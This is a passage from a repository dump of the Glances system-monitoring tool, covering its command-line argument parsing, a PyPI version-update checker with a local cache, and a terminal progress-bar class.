--browser\n\n  Start WebUI Central Glances Browser:\n    $ glances --browser -w\n\n  Display stats to stdout (one stat per line, possible to go inside stats using plugin.attribute):\n    $ glances --stdout now,cpu.user,mem.used,load\n\n  Display JSON stats to stdout (one stats per line):\n    $ glances --stdout-json now,cpu,mem,load\n\n  Display CSV stats to stdout (all stats in one line):\n    $ glances --stdout-csv now,cpu.user,mem.used,load\n\n  Enable some plugins disabled by default (comma-separated list):\n    $ glances --enable-plugin sensors\n\n  Disable some plugins (comma-separated list):\n    $ glances --disable-plugin network,ports\n\n  Disable all plugins except some (comma-separated list):\n    $ glances --disable-plugin all --enable-plugin cpu,mem,load\n\n\"\"\"\n\n    def __init__(self):\n        \"\"\"Manage the command line arguments.\"\"\"\n        self.init_glances()\n\n    def init_glances(self):\n        \"\"\"Main method to init Glances.\"\"\"\n        # Read the command line arguments or parse the one given in parameter (parser)\n        self.args = self.parse_args()\n\n        # Load the configuration file, if it exists\n        # This function should be called after the parse_args\n        # because the configuration file path can be defined\n        self.config = Config(self.args.conf_file)\n\n        # Init Glances debug mode\n        self.init_debug(self.args)\n\n        # Plugins Glances refresh rate\n        self.init_refresh_rate(self.args)\n\n        # Manage Plugins disable/enable option\n        self.init_plugins(self.args)\n\n        # Init Glances client/server mode\n        self.init_client_server(self.args)\n\n        # Init UI mode\n        self.init_ui_mode(self.args)\n\n        # Init the generate_graph tag\n        # Should be set to True to generate graphs\n        self.args.generate_graph = False\n\n        # Export is only available in standalone or client mode (issue #614)\n        export_tag = self.args.export is not None and any(self.args.export)\n        if WINDOWS and export_tag:\n            # On Windows, export is possible but only in quiet mode\n            # See issue #1038\n            logger.info(\"On Windows OS, export disable the Web interface\")\n            self.args.quiet = True\n            self.args.webserver = False\n        elif not (self.is_standalone() or self.is_client()) and export_tag:\n            logger.critical(\"Export is only available in standalone or client mode\")\n            sys.exit(2)\n\n        # Filter is only available in standalone mode\n        if not self.args.process_filter and not self.is_standalone():\n            logger.debug(\"Process filter is only available in standalone mode\")\n\n        # Focus filter is only available in standalone mode\n        if not self.args.process_focus and not self.is_standalone():\n            logger.debug(\"Process focus is only available in standalone mode\")\n\n        # Cursor option is only available in standalone mode\n        if not self.args.disable_cursor and not self.is_standalone():\n            logger.debug(\"Cursor is only available in standalone mode\")\n\n        # Let the plugins known the Glances mode\n        self.args.is_standalone = self.is_standalone()\n        self.args.is_client = self.is_client()\n        self.args.is_client_browser = self.is_client_browser()\n        self.args.is_server = self.is_server()\n        self.args.is_webserver = self.is_webserver()\n\n        # Check mode compatibility\n        self.check_mode_compatibility()\n\n    def version_msg(self):\n        \"\"\"Return the version message.\"\"\"\n        version = f'Glances version:\\t{__version__}\\n'\n        version += f'Glances API version:\\t{__apiversion__}\\n'\n        version += f'PsUtil version:\\t\\t{psutil_version}\\n'\n        version += f'Log file:\\t\\t{LOG_FILENAME}\\n'\n        return version\n\n    def init_args(self):\n        \"\"\"Init all the command line arguments.\"\"\"\n        parser = argparse.ArgumentParser(\n            prog='glances',\n            conflict_handler='resolve',\n            formatter_class=argparse.RawDescriptionHelpFormatter,\n            epilog=self.example_of_use,\n        )\n        if shtab_tag:\n            shtab.add_argument_to(parser, [\"--print-completion\"])\n        parser.add_argument('-V', '--version', action='version', version=self.version_msg())\n        parser.add_argument('-d', '--debug', action='store_true', default=False, dest='debug', help='enable debug mode')\n        if shtab_tag:\n            parser.add_argument(\n                '-C', '--config', dest='conf_file', help='path to the configuration file'\n            ).complete = shtab.FILE\n        else:\n            parser.add_argument('-C', '--config', dest='conf_file', help='path to the configuration file')\n        parser.add_argument('-P', '--plugins', dest='plugin_dir', help='path to additional plugin directory')\n        # Disable plugin\n        parser.add_argument(\n            '--modules-list',\n            '--module-list',\n            action='store_true',\n            default=False,\n            dest='modules_list',\n            help='display modules (plugins & exports) list and exit',\n        )\n        parser.add_argument(\n            '--disable-plugin',\n            '--disable-plugins',\n            '--disable',\n            dest='disable_plugin',\n            help='disable plugin (comma-separated list or all). If all is used, \\\n                then you need to configure --enable-plugin.',\n        )\n        parser.add_argument(\n            '--enable-plugin',\n            '--enable-plugins',\n            '--enable',\n            dest='enable_plugin',\n            help='enable plugin (comma-separated list)',\n        )\n        parser.add_argument(\n            '--disable-process',\n            action='store_true',\n            default=False,\n            dest='disable_process',\n            help='disable process module',\n        )\n        # Enable or disable option\n        parser.add_argument(\n            '--disable-webui',\n            action='store_true',\n            default=False,\n            dest='disable_webui',\n            help='disable the Web Interface',\n        )\n        parser.add_argument(\n            '--light',\n            '--enable-light',\n            action='store_true',\n            default=False,\n            dest='enable_light',\n            help='light mode for Curses UI (disable all but the top menu)',\n        )\n        parser.add_argument(\n            '-0',\n            '--disable-irix',\n            action='store_true',\n            default=False,\n            dest='disable_irix',\n            help='task\\'s cpu usage will be divided by the total number of CPUs',\n        )\n        parser.add_argument(\n            '-1',\n            '--percpu',\n            '--per-cpu',\n            action='store_true',\n            default=False,\n            dest='percpu',\n            help='start Glances in per CPU mode',\n        )\n        parser.add_argument(\n            '-2',\n            '--disable-left-sidebar',\n            action='store_true',\n            default=False,\n            dest='disable_left_sidebar',\n            help='disable network, disk I/O, FS and sensors modules',\n        )\n        parser.add_argument(\n            '-3',\n            '--disable-quicklook',\n            action='store_true',\n            default=False,\n            dest='disable_quicklook',\n            help='disable quick look module',\n        )\n        parser.add_argument(\n            '-4',\n            '--full-quicklook',\n            action='store_true',\n            default=False,\n            dest='full_quicklook',\n            help='disable all but quick look and load',\n        )\n        parser.add_argument(\n            '-5',\n            '--disable-top',\n            action='store_true',\n            default=False,\n            dest='disable_top',\n            help='disable top menu (QL, CPU, MEM, SWAP and LOAD)',\n        )\n        parser.add_argument(\n            '-6', '--meangpu', action='store_true', default=False, dest='meangpu', help='start Glances in mean GPU mode'\n        )\n        parser.add_argument(\n            '--disable-history',\n            action='store_true',\n            default=False,\n            dest='disable_history',\n            help='disable stats history',\n        )\n        parser.add_argument(\n            '--disable-bold',\n            action='store_true',\n            default=False,\n            dest='disable_bold',\n            help='disable bold mode in the terminal',\n        )\n        parser.add_argument(\n            '--disable-bg',\n            action='store_true',\n            default=False,\n            dest='disable_bg',\n            help='disable background colors in the terminal',\n        )\n        parser.add_argument(\n            '--enable-irq', action='store_true', default=False, dest='enable_irq', help='enable IRQ module'\n        )\n        parser.add_argument(\n            '--enable-process-extended',\n            action='store_true',\n            default=False,\n            dest='enable_process_extended',\n            help='enable extended stats on top process',\n        )\n        parser.add_argument(\n            '--disable-separator',\n            action='store_false',\n            default=True,\n            dest='enable_separator',\n            help='disable separator in the UI (between top and others modules)',\n        )\n        parser.add_argument(\n            '--disable-cursor',\n            action='store_true',\n            default=False,\n            dest='disable_cursor',\n            help='disable cursor (process selection) in the UI',\n        )\n        parser.add_argument(\n            '--arrow-keys-sort',  # See issue #3385\n            action='store_true',\n            default=False,\n            help='Use arrow keys to sort the process list instead of the SHIFT+key combinations',\n        )\n        # Sort processes list\n        parser.add_argument(\n            '--sort-processes',\n            dest='sort_processes_key',\n            choices=sort_processes_stats_list,\n            help='Sort processes by: {}'.format(', '.join(sort_processes_stats_list)),\n        )\n        # Display processes list by program name and not by thread\n        parser.add_argument(\n            '--programs',\n            '--program',\n            action='store_true',\n            default=False,\n            dest='programs',\n            help='Accumulate processes by program',\n        )\n        # Export modules feature\n        parser.add_argument('--export', dest='export', help='enable export module (comma-separated list)')\n        parser.add_argument(\n            '--export-csv-file', default='./glances.csv', dest='export_csv_file', help='file path for CSV exporter'\n        )\n        parser.add_argument(\n            '--export-csv-overwrite',\n            action='store_true',\n            default=False,\n            dest='export_csv_overwrite',\n            help='overwrite existing CSV file',\n        )\n        parser.add_argument(\n            '--export-json-file', default='./glances.json', dest='export_json_file', help='file path for JSON exporter'\n        )\n        parser.add_argument(\n            '--export-graph-path',\n            default=tempfile.gettempdir(),\n            dest='export_graph_path',\n            help='Folder for Graph exporter',\n        )\n        parser.add_argument(\n            '--export-process-filter',\n            default=None,\n            type=str,\n            dest='export_process_filter',\n            help='set the export process filter (comma-separated list of regular expression)',\n        )\n        # Client/Server option\n        parser.add_argument(\n            '-c', '--client', dest='client', help='connect to a Glances server by IPv4/IPv6 address or hostname'\n        )\n        parser.add_argument(\n            '-s', '--server', action='store_true', default=False, dest='server', help='run Glances in server mode'\n        )\n        parser.add_argument(\n            '--browser',\n            action='store_true',\n            default=False,\n            dest='browser',\n            help='start TUI Central Glances Browser (use --browser -w to start WebUI Central Glances Browser)',\n        )\n        parser.add_argument(\n            '--disable-autodiscover',\n            action='store_true',\n            default=False,\n            dest='disable_autodiscover',\n            help='disable autodiscover feature',\n        )\n        parser.add_argument(\n            '-p',\n            '--port',\n            default=None,\n            type=int,\n            dest='port',\n            help=f'define the client/server TCP port [default: {self.server_port}]',\n        )\n        parser.add_argument(\n            '-B',\n            '--bind',\n            default='0.0.0.0',\n            dest='bind_address',\n            help='bind server to the given IPv4/IPv6 address or hostname',\n        )\n        parser.add_argument('-u', dest='username_used', help='use or define the given username')\n        parser.add_argument(\n            '--username',\n            action='store_true',\n            default=False,\n            dest='username_prompt',\n            help='define or use an username',\n        )\n        parser.add_argument(\n            '--password',\n            action='store_true',\n            default=False,\n            dest='password_prompt',\n            help='define a client/server password',\n        )\n        parser.add_argument('--snmp-community', default='public', dest='snmp_community', help='SNMP community')\n        parser.add_argument('--snmp-port', default=161, type=int, dest='snmp_port', help='SNMP port')\n        parser.add_argument('--snmp-version', default='2c', dest='snmp_version', help='SNMP version (1, 2c or 3)')\n        parser.add_argument('--snmp-user', default='private', dest='snmp_user', help='SNMP username (only for SNMPv3)')\n        parser.add_argument(\n            '--snmp-auth', default='password', dest='snmp_auth', help='SNMP authentication key (only for SNMPv3)'\n        )\n        parser.add_argument(\n            '--snmp-force', action='store_true', default=False, dest='snmp_force', help='force SNMP mode'\n        )\n        parser.add_argument(\n            '-t',\n            '--time',\n            default=self.DEFAULT_REFRESH_TIME,\n            type=float,\n            dest='time',\n            help=f'set minimum refresh rate in seconds [default: {self.DEFAULT_REFRESH_TIME} sec]',\n        )\n        parser.add_argument(\n            '-w',\n            '--webserver',\n            action='store_true',\n            default=False,\n            dest='webserver',\n            help='run Glances in web server mode (FastAPI, Uvicorn, Jinja2 libs needed)',\n        )\n        parser.add_argument(\n            '--enable-mcp',\n            action='store_true',\n            default=False,\n            dest='enable_mcp',\n            help='enable the MCP (Model Context Protocol) server alongside the web server (mcp package needed)',\n        )\n        parser.add_argument(\n            '--mcp-path',\n            default=None,\n            dest='mcp_path',\n            help='set the MCP server mount path [default: /mcp]',\n        )\n        parser.add_argument(\n            '--cached-time',\n            default=self.cached_time,\n            type=int,\n            dest='cached_time',\n            help=f'set the server cache time [default: {self.cached_time} sec]',\n        )\n        parser.add_argument(\n            '--stop-after',\n            default=None,\n            type=int,\n            dest='stop_after',\n            help='stop Glances after n refresh',\n        )\n        parser.add_argument(\n            '--open-web-browser',\n            action='store_true',\n            default=False,\n            dest='open_web_browser',\n            help='try to open the Web UI in the default Web browser',\n        )\n        # Display options\n        parser.add_argument(\n            '-q',\n            '--quiet',\n            default=False,\n            action='store_true',\n            dest='quiet',\n            help='do not display the curses interface',\n        )\n        parser.add_argument(\n            '-f',\n            '--process-filter',\n            default=None,\n            type=str,\n            dest='process_filter',\n            help='set the process filter pattern (regular expression)',\n        )\n        # Process will focus on some process (comma-separated list of Glances filter)\n        parser.add_argument(\n            '--process-focus',\n            default=None,\n            type=str,\n            dest='process_focus',\n            help='set a process list to focus on (comma-separated list of Glances filter)',\n        )\n        parser.add_argument(\n            '--process-short-name',\n            action='store_true',\n            default=True,\n            dest='process_short_name',\n            help='force short name for processes name',\n        )\n        parser.add_argument(\n            '--process-long-name',\n            action='store_false',\n            default=False,\n            dest='process_short_name',\n            help='force long name for processes name',\n        )\n        parser.add_argument(\n            '--stdout',\n            default=None,\n            dest='stdout',\n            help='display stats to stdout, one stat per line (comma-separated list of plugins/plugins.attribute)',\n        )\n        parser.add_argument(\n            '--stdout-json',\n            default=None,\n            dest='stdout_json',\n            help='display stats to stdout, JSON format (comma-separated list of plugins/plugins.attribute)',\n        )\n        parser.add_argument(\n            '--stdout-csv',\n            default=None,\n            dest='stdout_csv',\n            help='display stats to stdout, CSV format (comma-separated list of plugins/plugins.attribute)',\n        )\n        parser.add_argument(\n            '--issue',\n            default=None,\n            action='store_true',\n            dest='stdout_issue',\n            help='test all plugins and exit (please copy/paste the output if you open an issue)',\n        )\n        parser.add_argument(\n            '--trace-malloc',\n            default=False,\n            action='store_true',\n            dest='trace_malloc',\n            help='trace memory allocation and display it at the end of the process (python 3.4 or higher needed)',\n        )\n        parser.add_argument(\n            '--memory-leak',\n            default=False,\n            action='store_true',\n            dest='memory_leak',\n            help='test memory leak (python 3.4 or higher needed)',\n        )\n        parser.add_argument(\n            '--api-doc',\n            default=None,\n            action='store_true',\n            dest='stdout_api_doc',\n            help='display Python API documentation',\n        )\n        parser.add_argument(\n            '--api-restful-doc',\n            default=None,\n            action='store_true',\n            dest='stdout_api_restful_doc',\n            help='display Restful API documentation',\n        )\n        if not WINDOWS:\n            parser.add_argument(\n                '--hide-kernel-threads',\n                action='store_true',\n                default=False,\n                dest='no_kernel_threads',\n                help='hide kernel threads in the process list (not available on Windows)',\n            )\n        parser.add_argument(\n            '-b',\n            '--byte',\n            action='store_true',\n            default=False,\n            dest='byte',\n            help='display network rate in bytes per second',\n        )\n        parser.add_argument(\n            '--diskio-show-ramfs',\n            action='store_true',\n            default=False,\n            dest='diskio_show_ramfs',\n            help='show RAM Fs in the DiskIO plugin',\n        )\n        parser.add_argument(\n            '--diskio-iops',\n            action='store_true',\n            default=False,\n            dest='diskio_iops',\n            help='show IO per second in the DiskIO plugin',\n        )\n        parser.add_argument(\n            '--diskio-latency',\n            action='store_true',\n            default=False,\n            dest='diskio_latency',\n            help='show IO latency in the DiskIO plugin',\n        )\n        parser.add_argument(\n            '--fahrenheit',\n            action='store_true',\n            default=False,\n            dest='fahrenheit',\n            help='display temperature in Fahrenheit (default is Celsius)',\n        )\n        parser.add_argument(\n            '--fs-free-space',\n            action='store_true',\n            default=False,\n            dest='fs_free_space',\n            help='display FS free space instead of used',\n        )\n        parser.add_argument(\n            '--sparkline',\n            action='store_true',\n            default=False,\n            dest='sparkline',\n            help='display sparklines instead of bar in the curses interface',\n        )\n        parser.add_argument(\n            '--disable-unicode',\n            action='store_true',\n            default=False,\n            dest='disable_unicode',\n            help='disable unicode characters in the curses interface',\n        )\n        parser.add_argument(\n            '--hide-public-info',\n            action='store_true',\n            default=False,\n            help='hide public information (like public IP)',\n        )\n        # Globals options\n        parser.add_argument(\n            '--disable-check-update',\n            action='store_true',\n            default=False,\n            dest='disable_check_update',\n            help='disable online Glances version ckeck',\n        )\n        parser.add_argument(\n            '--strftime',\n            dest='strftime_format',\n            default='',\n            help='strftime format string for displaying current date in standalone mode',\n        )\n        # Fetch\n        parser.add_argument(\n            '--fetch',\n            '--stdout-fetch',\n            action='store_true',\n            default=False,\n            dest='stdout_fetch',\n            help='display a (neo)fetch like summary and exit',\n        )\n        parser.add_argument(\n            '--fetch-template',\n            '--stdout-fetch-template',\n            dest='fetch_template',\n            default='',\n            help='overwrite default fetch template file',\n        )\n\n        return parser\n\n    def init_debug(self, args):\n        \"\"\"Init Glances debug mode.\"\"\"\n        if args.debug:\n            logger.setLevel(DEBUG)\n        else:\n            simplefilter(\"ignore\")\n\n    def init_refresh_rate(self, args):\n        \"\"\"Init Glances refresh rate\"\"\"\n        if self.config.has_section('global'):\n            global_refresh = self.config.get_float_value('global', 'refresh', default=self.DEFAULT_REFRESH_TIME)\n        else:\n            global_refresh = self.DEFAULT_REFRESH_TIME\n\n        # The configuration key can be overwrite from the command line (-t <time>)\n        if args.time == self.DEFAULT_REFRESH_TIME:\n            args.time = global_refresh\n\n        logger.debug(f'Global refresh rate is set to {args.time} seconds')\n\n    def init_plugins(self, args):\n        \"\"\"Init Glances plugins\"\"\"\n        # Allow users to disable plugins from the glances.conf (issue #1378)\n        for s in self.config.sections():\n            if self.config.has_section(s) and (self.config.get_bool_value(s, 'disable', False)):\n                disable(args, s)\n                logger.debug(f'{s} disabled by the configuration file')\n        # The configuration key can be overwrite from the command line\n        if args and args.disable_plugin and 'all' in args.disable_plugin.split(','):\n            if not args.enable_plugin:\n                logger.critical(\"'all' key in --disable-plugin needs to be used with --enable-plugin\")\n                sys.exit(2)\n            else:\n                logger.info(\n                    \"'all' key in --disable-plugin, only plugins defined with --enable-plugin will be available\"\n                )\n        if args.disable_plugin is not None:\n            for p in args.disable_plugin.split(','):\n                disable(args, p)\n        if args.enable_plugin is not None:\n            for p in args.enable_plugin.split(','):\n                enable(args, p)\n\n        # Exporters activation\n        if args.export is not None:\n            for p in args.export.split(','):\n                setattr(args, 'export_' + p, True)\n\n        # By default help is hidden\n        args.help_tag = False\n\n        # Display Rx and Tx, not the sum for the network\n        args.network_sum = False\n        args.network_cumul = False\n\n        # Processlist is updated in processcount\n        if getattr(args, 'disable_processcount', False):\n            logger.warning('Processcount is disable, so processlist (updated by processcount) is also disable')\n            disable(args, 'processlist')\n        elif getattr(args, 'enable_processlist', False) or getattr(args, 'enable_programlist', False):\n            enable(args, 'processcount')\n\n        # Set a default export_process_filter (with all process) when using the stdout mode\n        if getattr(args, 'stdout', True) and args.process_filter is None:\n            setattr(args, 'export_process_filter', '.*')\n\n    def init_client_server(self, args):\n        \"\"\"Init Glances client/server mode.\"\"\"\n\n        # Client/server Port\n        if args.port is None:\n            if args.webserver:\n                args.port = self.web_server_port\n            else:\n                args.port = self.server_port\n        # Port in the -c URI #996\n        if args.client is not None:\n            args.client, args.port = (\n                x if x else y for (x, y) in zip(args.client.partition(':')[::2], (args.client, args.port))\n            )\n\n        # Client autodiscover mode\n        if args.disable_autodiscover:\n            logger.info(\"Auto discover mode is disabled\")\n\n        # Server or client login/password\n        if args.username_prompt:\n            # Every username needs a password\n            args.password_prompt = True\n            # Prompt username\n            if args.server or args.webserver:\n                args.username = self.__get_username(description='Enter new username: ')\n            elif args.client:\n                args.username = self.__get_username(description='Enter username: ')\n        else:\n            if args.username_used:\n                # A username has been set using the -u option ?\n                args.username = args.username_used\n            else:\n                # Default user name is 'glances'\n                args.username = self.username\n\n        if args.password_prompt or args.username_used:\n            # Interactive or file password\n            if args.server or args.webserver:\n                args.password = self.__get_password(\n                    description='Enter new password: ',\n                    confirm=True,\n                    username=args.username,\n                )\n            elif args.client:\n                args.password = self.__get_password(\n                    description='Enter password: ',\n                    clear=True,\n                    username=args.username,\n                )\n        else:\n            # Default is no password\n            args.password = self.password\n\n    def init_ui_mode(self, args):\n        # Manage light mode\n        if getattr(args, 'enable_light', False):\n            logger.info(\"Light mode is on\")\n            args.disable_left_sidebar = True\n            disable(args, 'process')\n            disable(args, 'alert')\n            disable(args, 'amps')\n            disable(args, 'containers')\n            disable(args, 'vms')\n\n        # Manage full quicklook option\n        if getattr(args, 'full_quicklook', False):\n            logger.info(\"Full quicklook mode\")\n            enable(args, 'quicklook')\n            disable(args, 'cpu')\n            disable(args, 'mem')\n            disable(args, 'memswap')\n            enable(args, 'load')\n\n        # Manage disable_top option\n        if getattr(args, 'disable_top', False):\n            logger.info(\"Disable top menu\")\n            disable(args, 'quicklook')\n            disable(args, 'cpu')\n            disable(args, 'mem')\n            disable(args, 'memswap')\n            disable(args, 'load')\n\n        # Unicode => No separator\n        if args.disable_unicode:\n            args.enable_separator = False\n\n        # Memory leak\n        if getattr(args, 'memory_leak', False):\n            logger.info('Memory leak detection enabled')\n            args.quiet = True\n            if not args.stop_after:\n                args.stop_after = 60\n            args.time = 1\n            args.disable_history = True\n\n        # Disable history if history_size is 0\n        if self.config.has_section('global'):\n            if self.config.get_int_value('global', 'history_size', default=1200) == 0:\n                args.disable_history = True\n\n        # Display an information message if history is disabled\n        if args.disable_history:\n            logger.info(\"Stats history is disabled\")\n\n    def parse_args(self):\n        \"\"\"Parse command line arguments.\"\"\"\n        return self.init_args().parse_args(sys.argv[1:])\n\n    def check_mode_compatibility(self):\n        \"\"\"Check mode compatibility\"\"\"\n        # Server and Web server are not compatible\n        if self.args.is_server and self.args.is_webserver:\n            logger.critical(\"Server and Web server modes should not be used together\")\n            sys.exit(2)\n\n        # Trace malloc option\n        if getattr(self.args, 'trace_malloc', True) and not self.is_standalone():\n            logger.critical(\"Option --trace-malloc is only available in the terminal mode\")\n            sys.exit(2)\n\n        # Memory leak option\n        if getattr(self.args, 'memory_leak', True) and not self.is_standalone():\n            logger.critical(\"Option --memory-leak is only available in the terminal mode\")\n            sys.exit(2)\n\n    def is_standalone(self):\n        \"\"\"Return True if Glances is running in standalone mode.\"\"\"\n        return not self.args.client and not self.args.browser and not self.args.server and not self.args.webserver\n\n    def is_client(self):\n        \"\"\"Return True if Glances is running in client mode.\"\"\"\n        return (self.args.client or self.args.browser) and not self.args.server and not self.args.webserver\n\n    def is_client_browser(self):\n        \"\"\"Return True if Glances is running in client browser mode.\"\"\"\n        return self.args.browser and not self.args.server and not self.args.webserver\n\n    def is_server(self):\n        \"\"\"Return True if Glances is running in server mode.\"\"\"\n        return not self.args.client and self.args.server\n\n    def is_webserver(self):\n        \"\"\"Return True if Glances is running in Web server mode.\"\"\"\n        return not self.args.client and self.args.webserver\n\n    def get_config(self):\n        \"\"\"Return configuration file object.\"\"\"\n        return self.config\n\n    def get_args(self):\n        \"\"\"Return the arguments.\"\"\"\n        return self.args\n\n    def get_mode(self):\n        \"\"\"Return the mode.\"\"\"\n        return self.mode\n\n    def __get_username(self, description=''):\n        \"\"\"Read an username from the command line.\"\"\"\n        return input(description)\n\n    def __get_password(self, description='', confirm=False, clear=False, username='glances'):\n        \"\"\"Read a password from the command line.\n\n        - if confirm = True, with confirmation\n        - if clear = True, plain (clear password)\n        \"\"\"\n        from glances.password import GlancesPassword\n\n        password = GlancesPassword(username=username, config=self.get_config())\n        return password.get_password(description, confirm, clear)\n"
  },
  {
    "path": "glances/outdated.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage Glances update.\"\"\"\n\nimport json\nimport os\nimport pickle\nimport threading\nfrom datetime import datetime, timedelta\n\nfrom glances import __version__\nfrom glances.config import user_cache_dir\nfrom glances.globals import nativestr, safe_makedirs, urlopen\nfrom glances.logger import logger\n\ntry:\n    from packaging.version import Version\n\n    PACKAGING_IMPORT = True\nexcept Exception as e:\n    logger.warning(f\"Unable to import 'packaging' module ({e}). Glances cannot check for updates.\")\n    PACKAGING_IMPORT = False\n\nPYPI_API_URL = 'https://pypi.python.org/pypi/Glances/json'\n\n\nclass Outdated:\n    \"\"\"\n    This class aims at providing methods to warn the user when a new Glances\n    version is available on the PyPI repository (https://pypi.python.org/pypi/Glances/).\n    \"\"\"\n\n    def __init__(self, args, config):\n        \"\"\"Init the Outdated class\"\"\"\n        self.args = args\n        self.config = config\n        self.cache_dir = user_cache_dir()[0]\n        self.cache_file = os.path.join(self.cache_dir, 'glances-version.db')\n\n        # Set default value...\n        self.data = {'installed_version': __version__, 'latest_version': '0.0', 'refresh_date': datetime.now()}\n\n        # Disable update check if `packaging` is not installed\n        if not PACKAGING_IMPORT:\n            self.args.disable_check_update = True\n\n        # Read the configuration file only if update check is not explicitly disabled\n        if not self.args.disable_check_update:\n            self.load_config(config)\n\n        logger.debug(f\"Check Glances version up-to-date: {not self.args.disable_check_update}\")\n\n        # And update !\n        self.get_pypi_version()\n\n    def load_config(self, config):\n        \"\"\"Load outdated parameter in the global section of the configuration file.\"\"\"\n\n        global_section = 'global'\n        if hasattr(config, 'has_section') and config.has_section(global_section):\n            self.args.disable_check_update = config.get_value(global_section, 'check_update').lower() == 'false'\n        else:\n            logger.debug(f\"Cannot find section {global_section} in the configuration file\")\n            return False\n\n        return True\n\n    def installed_version(self):\n        return self.data['installed_version']\n\n    def latest_version(self):\n        return self.data['latest_version']\n\n    def refresh_date(self):\n        return self.data['refresh_date']\n\n    def get_pypi_version(self):\n        \"\"\"Wrapper to get the latest PyPI version (async)\n\n        The data are stored in a cached file\n        Only update online once a week\n        \"\"\"\n        if self.args.disable_check_update:\n            return\n\n        # If the cached file exist, read-it\n        cached_data = self._load_cache()\n\n        if cached_data == {}:\n            # Update needed\n            # Update and save the cache\n            thread = threading.Thread(target=self._update_pypi_version)\n            thread.start()\n        else:\n            # Update not needed\n            self.data['latest_version'] = cached_data['latest_version']\n            logger.debug(\"Get Glances version from cache file\")\n\n    def is_outdated(self):\n        \"\"\"Return True if a new version is available\"\"\"\n        if self.args.disable_check_update:\n            # Check is disabled by configuration\n            return False\n\n        logger.debug(f\"Check Glances version (installed: {self.installed_version()} / latest: {self.latest_version()})\")\n        return Version(self.latest_version()) > Version(self.installed_version())\n\n    def _load_cache(self):\n        \"\"\"Load cache file and return cached data\"\"\"\n        # If the cached file exist, read-it\n        max_refresh_date = timedelta(days=7)\n        cached_data = {}\n        try:\n            with open(self.cache_file, 'rb') as f:\n                cached_data = pickle.load(f)\n        except Exception as e:\n            logger.debug(f\"Cannot read version from cache file: {self.cache_file} ({e})\")\n        else:\n            logger.debug(\"Read version from cache file\")\n            if (\n                cached_data['installed_version'] != self.installed_version()\n                or datetime.now() - cached_data['refresh_date'] > max_refresh_date\n            ):\n                # Reset the cache if:\n                # - the installed version is different\n                # - the refresh_date is > max_refresh_date\n                cached_data = {}\n        return cached_data\n\n    def _save_cache(self):\n        \"\"\"Save data to the cache file.\"\"\"\n        # Create the cache directory\n        safe_makedirs(self.cache_dir)\n\n        # Create/overwrite the cache file\n        try:\n            with open(self.cache_file, 'wb') as f:\n                pickle.dump(self.data, f)\n        except Exception as e:\n            logger.error(f\"Cannot write version to cache file {self.cache_file} ({e})\")\n\n    def _update_pypi_version(self):\n        \"\"\"Get the latest PyPI version (as a string) via the RESTful JSON API\"\"\"\n        logger.debug(f\"Get latest Glances version from the PyPI RESTful API ({PYPI_API_URL})\")\n\n        # Update the current time\n        self.data['refresh_date'] = datetime.now()\n\n        try:\n            res = urlopen(PYPI_API_URL, timeout=3).read()\n        except Exception as e:\n            logger.debug(f\"Cannot get Glances version from the PyPI RESTful API ({e})\")\n        else:\n            self.data['latest_version'] = json.loads(nativestr(res))['info']['version']\n            logger.debug(\"Save Glances version to the cache file\")\n\n        # Save result to the cache file\n        # Note: also saved if the Glances PyPI version cannot be grabbed\n        self._save_cache()\n\n        return self.data\n"
  },
  {
    "path": "glances/outputs/__init__.py",
    "content": ""
  },
  {
    "path": "glances/outputs/glances_bars.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage bars for Glances output.\"\"\"\n\nfrom math import modf\n\n\nclass Bar:\n    \"\"\"Manage bar (progression or status).\n\n    import sys\n    import time\n    b = Bar(10)\n    for p in range(0, 100):\n        b.percent = p\n        print(\"\\r%s\" % b),\n        time.sleep(0.1)\n        sys.stdout.flush()\n    \"\"\"\n\n    def __init__(\n        self,\n        size,\n        bar_char='|',\n        empty_char=' ',\n        pre_char='',\n        post_char='',\n        unit_char='%',\n        display_value=True,\n        min_value=0,\n        max_value=100,\n    ):\n        \"\"\"Init a bar (used in Quicllook plugin)\n\n        Args:\n            size (_type_): Bar size\n            bar_char (str, optional): Bar character. Defaults to '|'.\n            empty_char (str, optional): Empty character. Defaults to ' '.\n            pre_char (str, optional): Display this char before the bar. Defaults to ''.\n            post_char (str, optional): Display this char after the bar. Defaults to ''.\n            unit_char (str, optional): Unit char to be displayed. Defaults to '%'.\n            display_value (bool, optional): Do i need to display the value. Defaults to True.\n            min_value (int, optional): Minimum value. Defaults to 0.\n            max_value (int, optional): Maximum value (percent can be higher). Defaults to 100.\n        \"\"\"\n        # Build curses_bars\n        self.__curses_bars = [empty_char] * 5 + [bar_char] * 5\n        # Bar size\n        self.__size = size\n        # Bar current percent\n        self.__percent = 0\n        # Min and max value\n        self.min_value = min_value\n        self.max_value = max_value\n        # Char used for the decoration\n        self.__pre_char = pre_char\n        self.__post_char = post_char\n        self.__empty_char = empty_char\n        self.__unit_char = unit_char\n        # Value should be displayed ?\n        self.__display_value = display_value\n\n    @property\n    def size(self, with_decoration=False):\n        # Return the bar size\n        if self.__display_value:\n            return self.__size - 6\n        return self.__size\n\n    @property\n    def percent(self):\n        return self.__percent\n\n    @percent.setter\n    def percent(self, value):\n        if value < self.min_value:\n            value = self.min_value\n        self.__percent = value\n\n    @property\n    def pre_char(self):\n        return self.__pre_char\n\n    @property\n    def post_char(self):\n        return self.__post_char\n\n    def get(self, overlay: str = None):\n        \"\"\"Return the bars.\"\"\"\n        value = self.max_value if self.percent > self.max_value else self.percent\n\n        # Build the bar\n        frac, whole = modf(self.size * value / 100.0)\n        ret = self.__curses_bars[8] * int(whole)\n        if frac > 0:\n            ret += self.__curses_bars[int(frac * 8)]\n            whole += 1\n        ret += self.__empty_char * int(self.size - whole)\n\n        # Add the post and pre chars\n        ret = f'{self.__pre_char}{ret}{self.__post_char}'\n\n        # Add the value\n        if self.__display_value:\n            if self.percent >= self.max_value:\n                ret = '{} {}{:3.0f}{}'.format(\n                    ret, '>' if self.percent > self.max_value else ' ', self.max_value, self.__unit_char\n                )\n            else:\n                ret = f'{ret}{self.percent:5.1f}{self.__unit_char}'\n\n        # Add overlay\n        if overlay and len(overlay) < len(ret) - 6:\n            ret = overlay + ret[len(overlay) :]\n\n        return ret\n\n    def __str__(self):\n        \"\"\"Return the bars.\"\"\"\n        return self.get()\n"
  },
